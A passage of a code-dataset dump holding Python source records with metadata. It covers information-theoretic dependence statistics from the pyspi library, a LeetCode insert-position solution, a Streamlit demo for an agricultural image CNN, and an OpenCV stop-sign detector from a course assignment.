i=i\n )\n\n\nclass MutualInfo(JIDTBase, Undirected):\n name = \"Mutual information\"\n identifier = \"mi\"\n labels = [\"unsigned\", \"infotheory\", \"unordered\", \"undirected\"]\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self._calc = self._getcalc(\"MutualInfo\")\n\n def __setstate__(self, state):\n super().__setstate__(state)\n self.__dict__.update(state)\n self._calc = self._getcalc(\"MutualInfo\")\n\n @parse_bivariate\n def bivariate(self, data, i=None, j=None, verbose=False):\n \"\"\"Compute mutual information between Y and X\"\"\"\n self._set_theiler_window(data, i, j)\n self._calc.initialise(1, 1)\n\n try:\n src, targ = data.to_numpy(squeeze=True)[[i, j]]\n self._calc.setObservations(\n jp.JArray(jp.JDouble)(src), jp.JArray(jp.JDouble)(targ)\n )\n return self._calc.computeAverageLocalOfObservations()\n except:\n logging.warning(\n \"MI calcs failed. Maybe check input data for Cholesky factorisation?\"\n )\n return np.NaN\n\n\nclass TimeLaggedMutualInfo(MutualInfo):\n name = \"Time-lagged mutual information\"\n identifier = \"tlmi\"\n labels = [\"unsigned\", \"infotheory\", \"temporal\", \"undirected\"]\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self._calc = self._getcalc(\"MutualInfo\")\n\n def __setstate__(self, state):\n \"\"\"Re-initialise the calculator\"\"\"\n super().__setstate__(state)\n self.__dict__.update(state)\n self._calc = self._getcalc(\"MutualInfo\")\n\n @parse_bivariate\n def bivariate(self, data, i=None, j=None, verbose=False):\n self._set_theiler_window(data, i, j)\n self._calc.initialise(1, 1)\n try:\n src, targ = data.to_numpy(squeeze=True)[[i, j]]\n src = src[:-1]\n targ = targ[1:]\n self._calc.setObservations(\n jp.JArray(jp.JDouble, 1)(src), jp.JArray(jp.JDouble, 1)(targ)\n )\n return self._calc.computeAverageLocalOfObservations()\n except:\n logging.warning(\n \"Time-lagged MI calcs failed. Maybe check input data for Cholesky factorisation?\"\n )\n return np.NaN\n\n\nclass TransferEntropy(JIDTBase, Directed):\n\n name = \"Transfer entropy\"\n identifier = \"te\"\n labels = [\"unsigned\", \"embedding\", \"infotheory\", \"temporal\", \"directed\"]\n\n def __init__(\n self,\n auto_embed_method=None,\n k_search_max=None,\n tau_search_max=None,\n k_history=1,\n k_tau=1,\n l_history=1,\n l_tau=1,\n **kwargs,\n ):\n\n if \"estimator\" not in kwargs.keys() or kwargs[\"estimator\"] == \"gaussian\":\n self.identifier = \"gc\"\n super().__init__(**kwargs)\n self._calc = self._getcalc(\"TransferEntropy\")\n\n # Auto-embedding\n if auto_embed_method is not None:\n self._calc.setProperty(self._AUTO_EMBED_METHOD_PROP_NAME, auto_embed_method)\n self._calc.setProperty(self._K_SEARCH_MAX_PROP_NAME, str(k_search_max))\n if self._estimator != \"kernel\":\n self.identifier = self.identifier + \"_k-max-{}_tau-max-{}\".format(\n k_search_max, tau_search_max\n )\n self._calc.setProperty(\n self._TAU_SEARCH_MAX_PROP_NAME, str(tau_search_max)\n )\n else:\n self.identifier = self.identifier + \"_k-max-{}\".format(k_search_max)\n # Set up calculator\n else:\n self._calc.setProperty(self._K_HISTORY_PROP_NAME, str(k_history))\n if self._estimator != \"kernel\":\n self._calc.setProperty(self._K_TAU_PROP_NAME, str(k_tau))\n self._calc.setProperty(self._L_HISTORY_PROP_NAME, str(l_history))\n self._calc.setProperty(self._L_TAU_PROP_NAME, str(l_tau))\n self.identifier = self.identifier + \"_k-{}_kt-{}_l-{}_lt-{}\".format(\n k_history, k_tau, l_history, l_tau\n )\n else:\n self.identifier = self.identifier + \"_k-{}\".format(k_history)\n\n def __setstate__(self, state):\n \"\"\"Re-initialise the calculator\"\"\"\n # Re-initialise\n super().__setstate__(state)\n self.__dict__.update(state)\n self._calc = self._getcalc(\"TransferEntropy\")\n\n @parse_bivariate\n def bivariate(self, data, i=None, j=None, verbose=False):\n \"\"\"\n Compute transfer entropy from i->j\n \"\"\"\n self._set_theiler_window(data, i, j)\n self._calc.initialise()\n src, targ = data.to_numpy(squeeze=True)[[i, j]]\n try:\n self._calc.setObservations(\n jp.JArray(jp.JDouble, 1)(src), jp.JArray(jp.JDouble, 1)(targ)\n )\n return self._calc.computeAverageLocalOfObservations()\n except Exception as err:\n logging.warning(f\"TE calcs failed: {err}.\")\n return np.NaN\n\n\nclass CrossmapEntropy(JIDTBase, Directed):\n\n name = \"Cross-map entropy\"\n identifier = \"xme\"\n labels = [\"unsigned\", \"infotheory\", \"temporal\", \"directed\"]\n\n def __init__(self, history_length=10, **kwargs):\n super().__init__(**kwargs)\n self.identifier += f\"_k{history_length}\"\n self._history_length = history_length\n\n @parse_bivariate\n def bivariate(self, data, i=None, j=None):\n src, targ = data.to_numpy(squeeze=True)[[i, j]]\n k = self._history_length\n targ_future = targ[k:]\n src_past = np.expand_dims(src[k - 1 : -1], axis=1)\n for i in range(2, k):\n src_past = np.append(\n src_past, np.expand_dims(src[k - i : -i], axis=1), axis=1\n )\n\n joint = np.concatenate([src_past, np.expand_dims(targ_future, axis=1)], axis=1)\n\n self._entropy_calc.initialise(joint.shape[1])\n self._entropy_calc.setObservations(jp.JArray(jp.JDouble, 2)(joint))\n H_xy = self._entropy_calc.computeAverageLocalOfObservations()\n\n self._entropy_calc.initialise(src_past.shape[1])\n self._entropy_calc.setObservations(jp.JArray(jp.JDouble, 2)(src_past))\n H_y = self._entropy_calc.computeAverageLocalOfObservations()\n\n return H_xy - H_y\n\n\nclass CausalEntropy(JIDTBase, Directed):\n\n name = \"Causally conditioned entropy\"\n identifier = \"cce\"\n labels = [\"unsigned\", \"infotheory\", \"temporal\", \"directed\"]\n\n def __init__(self, n=5, **kwargs):\n super().__init__(**kwargs)\n self._n = n\n\n def _compute_causal_entropy(self, src, targ):\n\n src = np.squeeze(src)\n targ = np.squeeze(targ)\n\n m_utils = jp.JPackage(\"infodynamics.utils\").MatrixUtils\n\n causal_entropy = 0\n for i in range(1, self._n + 1):\n Yp = m_utils.makeDelayEmbeddingVector(jp.JArray(jp.JDouble, 1)(targ), i - 1)[:-1]\n Xp = m_utils.makeDelayEmbeddingVector(jp.JArray(jp.JDouble, 1)(src), i)\n XYp = np.concatenate([Yp, Xp], axis=1)\n\n Yf = np.expand_dims(targ[i - 1 :], 1)\n causal_entropy = causal_entropy + self._compute_conditional_entropy(Yf, XYp)\n return causal_entropy\n\n def _getkey(self):\n return super(CausalEntropy, self)._getkey() + (self._n,)\n\n @parse_bivariate\n def bivariate(self, data, i=None, j=None):\n if not hasattr(data, \"causal_entropy\"):\n data.causal_entropy = {}\n\n key = self._getkey()\n if key not in data.causal_entropy:\n data.causal_entropy[key] = np.full(\n (data.n_processes, data.n_processes), -np.inf\n )\n\n if data.causal_entropy[key][i, j] == -np.inf:\n z = data.to_numpy(squeeze=True)\n data.causal_entropy[key][i, j] = self._compute_causal_entropy(z[i], z[j])\n\n return data.causal_entropy[key][i, j]\n\n\nclass DirectedInfo(CausalEntropy, Directed):\n\n name = \"Directed information\"\n identifier = \"di\"\n labels = [\"unsigned\", \"infotheory\", \"temporal\", \"directed\"]\n\n def __init__(self, n=5, **kwargs):\n super().__init__(**kwargs)\n self._n = n\n\n def _compute_entropy_rates(self, targ):\n\n targ = np.squeeze(targ)\n m_utils = jp.JPackage(\"infodynamics.utils\").MatrixUtils\n\n entropy_rate_sum = 0\n for i in range(1, self._n + 1):\n # Compute entropy for an i-dimensional embedding\n self._entropy_calc.initialise(i)\n\n Yi = m_utils.makeDelayEmbeddingVector(jp.JArray(jp.JDouble, 1)(targ), i)\n self._entropy_calc.setObservations(Yi)\n entropy_rate_sum = entropy_rate_sum + self._entropy_calc.computeAverageLocalOfObservations() / i\n\n return entropy_rate_sum\n\n @parse_bivariate\n def bivariate(self, data, i=None, j=None):\n \"\"\"Compute directed information from i to j\"\"\"\n\n entropy_rates = self._compute_entropy_rates(data.to_numpy(squeeze=True)[j])\n causal_entropy = super().bivariate(data, i=i, j=j)\n\n return entropy_rates - causal_entropy\n\n\nclass StochasticInteraction(JIDTBase, Undirected):\n\n name = \"Stochastic interaction\"\n identifier = \"si\"\n labels = [\"unsigned\", \"infotheory\", \"temporal\", \"undirected\"]\n\n def __init__(self, delay=1, **kwargs):\n super().__init__(**kwargs)\n self._delay = delay\n self.identifier += f\"_k-{delay}\"\n\n @parse_bivariate\n def bivariate(self, data, i=None, j=None, verbose=False):\n x, y = data.to_numpy()[[i, j]]\n xy = np.concatenate([x, y], axis=1)\n tau = self._delay\n\n H_joint = self._compute_conditional_entropy(xy[tau:], xy[:-tau])\n H_src = self._compute_conditional_entropy(x[tau:], x[:-tau])\n H_targ = self._compute_conditional_entropy(y[tau:], y[:-tau])\n\n return H_src + H_targ - H_joint\n\n\nclass IntegratedInformation(Undirected, Unsigned):\n\n name = \"Integrated information\"\n identifier = \"phi\"\n labels = [\"linear\", \"unsigned\", \"infotheory\", \"temporal\", \"undirected\"]\n\n def __init__(self, phitype=\"star\", delay=1, normalization=0):\n self._params = Struct()\n self._params[\"tau\"] = 1\n self._options = Struct()\n self._options[\"type_of_phi\"] = phitype\n self._options[\"type_of_dist\"] = \"Gauss\"\n self._options[\"normalization\"] = normalization\n self.identifier += f\"_{phitype}_t-{delay}_norm-{normalization}\"\n\n @parse_bivariate\n def bivariate(self, data, i=None, j=None):\n\n if not octave.exist(\"phi_comp\"):\n path = os.path.dirname(os.path.abspath(__file__)) + \"/../lib/PhiToolbox/\"\n octave.addpath(octave.genpath(path))\n\n P = [1, 2]\n Z = data.to_numpy(squeeze=True)[[i, j]]\n\n return octave.phi_comp(Z, P, self._params, self._options)\n", "repo_name": "DynamicsAndNeuralSystems/pyspi", "sub_path": "pyspi/statistics/infotheory.py", "file_name": "infotheory.py", "file_ext": "py", "file_size_in_byte": 20130, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 138, "dataset": "github-code", "pt": "16", "api": [{"api_name": "jpype.isJVMStarted", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 16, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 19, "usage_type": "call"}, {"api_name": "jpype.startJVM", "line_number": 20, "usage_type": "call"}, {"api_name": "jpype.getDefaultJVMPath", "line_number": 20, "usage_type": "call"}, {"api_name": "pyspi.base.Unsigned", "line_number": 23, "usage_type": "name"}, {"api_name": "jpype.JPackage", "line_number": 39, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 156, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 158, "usage_type": "attribute"}, {"api_name": "numpy.squeeze", "line_number": 159, "usage_type": "call"}, {"api_name": "jpype.JArray", "line_number": 162, "usage_type": "call"}, {"api_name": "jpype.JDouble", "line_number": 162, "usage_type": "attribute"}, {"api_name": "pyspi.base.parse_univariate", "line_number": 149, "usage_type": "name"}, {"api_name": "numpy.full", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.infty", "line_number": 178, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 180, "usage_type": "attribute"}, {"api_name": "jpype.JArray", "line_number": 184, "usage_type": "call"}, {"api_name": "jpype.JDouble", "line_number": 184, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 184, "usage_type": "call"}, {"api_name": "pyspi.base.parse_bivariate", "line_number": 171, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 193, "usage_type": "call"}, {"api_name": "jpype.JArray", "line_number": 196, "usage_type": "call"}, {"api_name": "jpype.JDouble", "line_number": 196, "usage_type": "attribute"}, {"api_name": "jpype.JArray", "line_number": 201, "usage_type": "call"}, {"api_name": "jpype.JDouble", "line_number": 201, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 211, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 220, "usage_type": "call"}, {"api_name": "pyspi.utils.acf", "line_number": 221, "usage_type": "call"}, {"api_name": "pyspi.utils", "line_number": 221, "usage_type": "name"}, {"api_name": "pyspi.base.Undirected", "line_number": 235, "usage_type": "name"}, {"api_name": "pyspi.base.parse_bivariate", "line_number": 244, "usage_type": "name"}, {"api_name": "pyspi.base.Directed", "line_number": 249, "usage_type": "name"}, {"api_name": "pyspi.base.parse_bivariate", "line_number": 258, "usage_type": "name"}, {"api_name": "pyspi.base.Undirected", "line_number": 265, "usage_type": "name"}, {"api_name": "jpype.JArray", "line_number": 288, "usage_type": "call"}, {"api_name": "jpype.JDouble", "line_number": 288, "usage_type": "attribute"}, {"api_name": "logging.warning", "line_number": 292, "usage_type": "call"}, {"api_name": "numpy.NaN", "line_number": 295, "usage_type": "attribute"}, {"api_name": "pyspi.base.parse_bivariate", "line_number": 279, "usage_type": "name"}, {"api_name": "jpype.JArray", "line_number": 322, "usage_type": "call"}, {"api_name": "jpype.JDouble", "line_number": 322, "usage_type": "attribute"}, {"api_name": "logging.warning", "line_number": 326, "usage_type": "call"}, {"api_name": "numpy.NaN", "line_number": 329, "usage_type": "attribute"}, {"api_name": "pyspi.base.parse_bivariate", "line_number": 313, "usage_type": "name"}, {"api_name": "pyspi.base.Directed", "line_number": 332, "usage_type": "name"}, {"api_name": "jpype.JArray", "line_number": 398, "usage_type": "call"}, {"api_name": "jpype.JDouble", "line_number": 398, "usage_type": "attribute"}, {"api_name": "logging.warning", "line_number": 402, "usage_type": "call"}, {"api_name": "numpy.NaN", "line_number": 403, "usage_type": "attribute"}, {"api_name": "pyspi.base.parse_bivariate", "line_number": 388, "usage_type": "name"}, {"api_name": "pyspi.base.Directed", "line_number": 406, "usage_type": "name"}, {"api_name": "numpy.expand_dims", "line_number": 422, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 424, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 425, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 428, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 428, "usage_type": "call"}, {"api_name": "jpype.JArray", "line_number": 431, "usage_type": "call"}, {"api_name": "jpype.JDouble", "line_number": 431, "usage_type": "attribute"}, {"api_name": "jpype.JArray", "line_number": 435, "usage_type": "call"}, {"api_name": "jpype.JDouble", "line_number": 435, "usage_type": "attribute"}, {"api_name": "pyspi.base.parse_bivariate", "line_number": 417, "usage_type": "name"}, {"api_name": "pyspi.base.Directed", "line_number": 441, "usage_type": "name"}, {"api_name": "numpy.squeeze", "line_number": 453, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 454, "usage_type": "call"}, {"api_name": "jpype.JPackage", "line_number": 456, "usage_type": "call"}, {"api_name": "jpype.JArray", "line_number": 460, "usage_type": "call"}, {"api_name": "jpype.JDouble", "line_number": 460, "usage_type": "attribute"}, {"api_name": "jpype.JArray", "line_number": 461, "usage_type": "call"}, {"api_name": "jpype.JDouble", "line_number": 461, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 462, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 464, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 478, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 479, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 482, "usage_type": "attribute"}, {"api_name": "pyspi.base.parse_bivariate", "line_number": 471, "usage_type": "name"}, {"api_name": "pyspi.base.Directed", "line_number": 489, "usage_type": "name"}, {"api_name": "numpy.squeeze", "line_number": 501, "usage_type": "call"}, {"api_name": "jpype.JPackage", "line_number": 502, "usage_type": "call"}, {"api_name": "jpype.JArray", "line_number": 509, "usage_type": "call"}, {"api_name": "jpype.JDouble", "line_number": 509, "usage_type": "attribute"}, {"api_name": "pyspi.base.parse_bivariate", "line_number": 515, "usage_type": "name"}, {"api_name": "pyspi.base.Undirected", "line_number": 525, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 539, "usage_type": "call"}, {"api_name": "pyspi.base.parse_bivariate", "line_number": 536, "usage_type": "name"}, {"api_name": "pyspi.base.Undirected", "line_number": 549, "usage_type": "name"}, {"api_name": "pyspi.base.Unsigned", "line_number": 549, "usage_type": "name"}, {"api_name": "oct2py.Struct", "line_number": 556, "usage_type": "call"}, {"api_name": "oct2py.Struct", "line_number": 558, "usage_type": "call"}, {"api_name": "oct2py.octave.exist", "line_number": 567, "usage_type": "call"}, {"api_name": "oct2py.octave", "line_number": 567, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 568, "usage_type": "call"}, {"api_name": "os.path", "line_number": 568, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 568, "usage_type": "call"}, {"api_name": "oct2py.octave.addpath", "line_number": 569, "usage_type": "call"}, {"api_name": "oct2py.octave", "line_number": 569, "usage_type": "name"}, {"api_name": "oct2py.octave.genpath", "line_number": 569, "usage_type": "call"}, {"api_name": "oct2py.octave.phi_comp", "line_number": 574, "usage_type": "call"}, {"api_name": "oct2py.octave", "line_number": 574, "usage_type": "name"}, {"api_name": "pyspi.base.parse_bivariate", "line_number": 564, "usage_type": "name"}]} +{"seq_id": "71100544007", "text": "\"\"\"\n给定一个排序数组和一个目标值，在数组中找到目标值，并返回其索引。\n如果目标值不存在于数组中，返回它将会被按顺序插入的位置。\n\n你可以假设数组中无重复元素。\n\"\"\"\nfrom typing import List\n\nclass Solution:\n def searchInsert(self, nums: List[int], target: int) -> int:\n # 36ms 91.22%\n for index, num in enumerate(nums):\n if num < target:\n continue\n elif num > target:\n nums.insert(index, target)\n return index\n elif num == target:\n return index\n else:\n # 位置在最尾部\n nums.append(target)\n return len(nums)-1\n\n\n\nif __name__ == \"__main__\":\n test = [1,3,5,6]\n i = 5\n S = Solution()\n print(S.searchInsert(test, i))", "repo_name": "douzujun/Python-Foundation-Suda", "sub_path": "上机题目和面试题整理/Python-Foundation-Suda-master/05_leetcode/35_搜索插入位置.py", "file_name": "35_搜索插入位置.py", "file_ext": "py", "file_size_in_byte": 847, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 51, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.List", "line_number": 10, "usage_type": "name"}]} +{"seq_id": "13304621828", "text": "\n\"\"\"\nAuthor : Nathalia Graf Grachet\nDate : 2021-01-31\nPurpose: TDI Capstone Project\n\"\"\"\n\nimport streamlit as st\nimport os\nimport cv2\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow import keras\nst.set_option('deprecation.showPyplotGlobalUse', False)\n\n\n# --------------------------------------------------\ndef random_file():\n \"\"\" Sample a pd df and returns \"\"\"\n\n to_sample = st.button('Click here to make a prediction')\n\n return to_sample\n\n\n# --------------------------------------------------\ndef get_df(path_csv):\n\n val_df = pd.read_csv(path_csv)\n\n list_labels = [('cloud_shadow', 0), ('double_plant', 1), ('planter_skip', 2),\n ('standing_water', 3), ('waterway', 4), ('weed_cluster', 5)]\n\n for l in list_labels:\n val_df[l[0]] = val_df[l[0]].replace(1, l[1])\n\n val_df['filename'] = val_df['filename'].str.split('/').str[-1].str[:-4]+'.jpg'\n\n return val_df\n\n\n# --------------------------------------------------\ndef read_image(data_x):\n \"\"\"Read obj with the path for images.\n data_x == *_x\n \"\"\"\n\n W, H = 300, 300 # set final size\n\n x = cv2.imread(data_x, cv2.IMREAD_COLOR) # read in colors\n x = cv2.resize(x, (W, H)) # resize\n x = x / 255.0 # normalize values 0 to 1\n x = x.astype(np.float32) # make it np.float32\n\n return x\n\n\n# --------------------------------------------------\ndef get_label(label):\n\n list_labels = [('Cloud shadow', 0), ('Double plant', 1), ('Planter skip', 2),\n ('Standing water', 3), ('Waterway', 4), ('Weed cluster', 5)]\n\n for l in list_labels:\n if label == l[1]:\n return l[0]\n\n\n# --------------------------------------------------\ndef make_prediction(df, model):\n\n # take a sample (== one random row) from val_df\n sample = df.sample()\n # get filename\n image = sample['filename'].to_list()[0]\n # get label\n label = int(sample.sum(axis=1).to_list()[0])\n # get path to the image\n image_path = os.path.join('dataset', 'Agriculture-Vision', 'train', 'images', 'rgb', image)\n # assert it exists\n assert os.path.exists(image_path) == True\n\n # predict\n img = read_image(image_path)\n prediction = model.predict(np.array([img]))\n predicted_value = np.argmax(prediction)\n\n return predicted_value, label, image_path\n\n\n# --------------------------------------------------\ndef main():\n st.write('# Agriculture-Vision - TDI Capstone Project')\n\n st.write('## Exploratory CNN model')\n\n st.write(f\"Tensorflow version: {tf.__version__}, and Keras version: {keras.__version__}\")\n\n val_df = get_df('training_singles.csv')\n\n cnn_model = keras.models.load_model('./model_1_CNN')\n\n acc = 72.06\n st.write(f\"Current Model Accuracy: {str(acc)}%\")\n\n ## Prediction\n if random_file():\n predicted_value, label, image_path = make_prediction(val_df, cnn_model)\n # plot the image and check if label match...\n img = read_image(image_path)\n st.write(f\"The label: {get_label(label)}, and the model predicted: {get_label(predicted_value)}\")\n plt.figure(figsize=(3,3))\n plt.imshow(img)\n plt.axis('off')\n st.pyplot()\n\n\n# --------------------------------------------------\nif __name__ == '__main__':\n main()\n", "repo_name": "nathaliagg/tdi_capstone", "sub_path": "cnn_app.py", "file_name": "cnn_app.py", "file_ext": "py", "file_size_in_byte": 3321, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "streamlit.set_option", "line_number": 17, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 24, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 53, "usage_type": "call"}, {"api_name": "cv2.IMREAD_COLOR", "line_number": 53, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 89, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 96, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 98, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 100, "usage_type": "call"}, {"api_name": "tensorflow.__version__", "line_number": 100, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.__version__", "line_number": 100, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 100, "usage_type": "name"}, {"api_name": "tensorflow.keras.models.load_model", "line_number": 104, "usage_type": "call"}, {"api_name": "tensorflow.keras.models", "line_number": 104, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 104, "usage_type": "name"}, {"api_name": "streamlit.write", "line_number": 107, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 115, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 115, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}, {"api_name": "streamlit.pyplot", "line_number": 118, "usage_type": "call"}]} +{"seq_id": "17295589032", "text": "'''\nECE276A WI20 HW1\nStop Sign Detector\n'''\n\nimport os, cv2\nimport numpy as np\nimport skimage\n\nclass StopSignDetector():\n def __init__(self):\n '''\n Initilize your stop sign detector with the attributes you need,\n e.g., parameters of your classifier\n '''\n self.weights = np.array([-1198.70681915, 2975.83862542, -19176.06813495, 9368.96722851]) # removed a third of the red pixels so the entire dataset would be evenly split 50/50\n \n self.ARC_COEFF = 0.01\n self.MIN_PTS_IN_CONTOUR = 8\n self.MAX_PTS_IN_CONTOUR = 12\n self.MIN_AREA_RATIO = 0.00015\n self.MAX_ECCENTRICITY = 0.61\n self.MAX_SIGNS_PER_IMG = 2\n self.KERNEL_SIZE = 3\n\n def segment_image(self, img):\n '''\n Obtain a segmented image using a color classifier,\n Logistic Regression\n\n Inputs:\n img - original image\n Outputs:\n mask_img - a binary image with 1 if the pixel in the original image is red and 0 otherwise\n '''\n\n x = img.flatten().reshape(img.shape[0] * img.shape[1], img.shape[2])\n \n intercept = np.ones((x.shape[0], 1))\n x = np.concatenate((intercept, x), axis = 1) # add bias column\n \n mask_img = np.matmul(x, self.weights)\n mask_img = mask_img.reshape(img.shape[0], img.shape[1])\n mask_img = 1.0 * (mask_img > 0) # binarize image\n mask_img = skimage.img_as_ubyte(mask_img) # convert to uint8\n\n return mask_img\n\n def get_bounding_box(self, img):\n '''\n Find the bounding box of the stop sign\n call other functions in this class if needed\n\n Inputs:\n img - original image\n Outputs:\n boxes - a list of lists of bounding boxes. Each nested list is a bounding box in the form of [x1, y1, x2, y2]\n where (x1, y1) and (x2, y2) are the top left and bottom right coordinate respectively. The order of bounding boxes in the list\n is from left to right in the image.\n\n Our solution uses xy-coordinate instead of rc-coordinate. More information: http://scikit-image.org/docs/dev/user_guide/numpy_images.html#coordinate-conventions\n '''\n boxes = []\n mask_img = self.segment_image(img)\n img_area = img.shape[0] * img.shape[1]\n \n # get thresholded image and blur. Canny, Sobel, Laplacian all had worse performance\n _, thresh_img = cv2.threshold(mask_img, 0, 255, cv2.THRESH_BINARY)\n \n # Gaussian blur and erosion for connected, smooth contours\n kernel = (self.KERNEL_SIZE, self.KERNEL_SIZE)\n smoothed_img = cv2.GaussianBlur(thresh_img, kernel, cv2.BORDER_DEFAULT)\n eroded_img = cv2.erode(smoothed_img, kernel, iterations = 1)\n \n # find largest contours\n contours, _ = cv2.findContours(eroded_img, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)[-2:]\n contours = sorted(contours, key = cv2.contourArea, reverse = True)[:self.MAX_SIGNS_PER_IMG]\n \n for contour in contours:\n perimeter = self.ARC_COEFF * cv2.arcLength(contour, True)\n poly_approx = cv2.approxPolyDP(contour, perimeter, True)\n \n if (len(poly_approx) >= self.MIN_PTS_IN_CONTOUR):\n _, axes, _ = cv2.fitEllipse(poly_approx)\n \n eccentricity = np.sqrt(1 - np.square(min(axes) / max(axes)))\n \n if (len(poly_approx) <= self.MAX_PTS_IN_CONTOUR or eccentricity <= self.MAX_ECCENTRICITY):\n (x, y, w, h) = cv2.boundingRect(poly_approx)\n area = w * h\n \n if ((area / img_area) >= self.MIN_AREA_RATIO):\n bounds = [x, img.shape[0] - y - h, x + w, img.shape[0] - y] # convert coordinates to project specification\n boxes.append(bounds)\n \n# out = cv2.drawContours(img, [contour], -1, (0, 255, 0), 3)\n print(boxes)\n return boxes\n\nif __name__ == '__main__':\n folder = \"trainset\"\n my_detector = StopSignDetector()\n for filename in os.listdir(folder):\n # read one test image\n img = cv2.imread(os.path.join(folder, filename))\n cv2.imshow('image', img)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n # Display results:\n # (1) Segmented images\n #\t mask_img = my_detector.segment_image(img)\n # (2) Stop sign bounding box\n # boxes = my_detector.get_bounding_box(img)\n # The autograder checks your answers to the functions segment_image() and get_bounding_box()\n # Make sure your code runs as expected on the testset before submitting to Gradescope\n\n", "repo_name": "roumenguha/Stop_Sign_Detection_Redux", "sub_path": "pr1_code/stop_sign_detector.py", "file_name": "stop_sign_detector.py", "file_ext": "py", "file_size_in_byte": 4785, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.array", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 42, "usage_type": "call"}, {"api_name": "skimage.img_as_ubyte", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.threshold", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 68, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 72, "usage_type": "call"}, {"api_name": "cv2.BORDER_DEFAULT", "line_number": 72, "usage_type": "attribute"}, {"api_name": "cv2.erode", "line_number": 73, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 76, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 76, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 76, "usage_type": "attribute"}, {"api_name": "cv2.contourArea", "line_number": 77, "usage_type": "attribute"}, {"api_name": "cv2.arcLength", "line_number": 80, "usage_type": "call"}, {"api_name": "cv2.approxPolyDP", "line_number": 81, "usage_type": "call"}, {"api_name": "cv2.fitEllipse", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.square", "line_number": 86, "usage_type": "call"}, {"api_name": "cv2.boundingRect", "line_number": 89, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 103, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path", "line_number": 105, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 106, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 